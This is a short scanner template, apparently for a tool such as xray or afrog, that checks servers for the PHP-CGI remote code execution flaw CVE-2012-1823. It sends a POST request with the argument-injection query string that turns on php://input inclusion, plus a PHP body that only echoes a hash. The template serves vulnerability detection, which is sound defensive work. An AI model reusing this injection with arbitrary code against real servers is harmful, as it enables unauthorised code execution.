CVE-2012-1823: PHP-CGI 远程代码执行漏洞

id: CVE-2012-1823

info:
  name: PHP-CGI 远程代码执行漏洞
  author: 17bdw
  severity: critical
  verified: true
  description: |-
    PHP-CGI 远程代码执行漏洞，攻击者可以通过构造恶意请求，在目标服务器上执行任意 PHP 代码。
  affected: php < 5.3.12 or php < 5.4.2
  reference:
    - https://github.com/vulhub/vulhub/tree/master/php/CVE-2012-1823
  tags: cve,cve2012,php,rce
  created: 2024/06/11

set:
  rand: randomInt(200000000, 210000000)
rules:
  r0:
    request:
      method: POST
      path: /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input
      body: <?php echo md5({{rand}}); ?>
    expression: response.body.bcontains(bytes(md5(string(rand))))
expression: r0()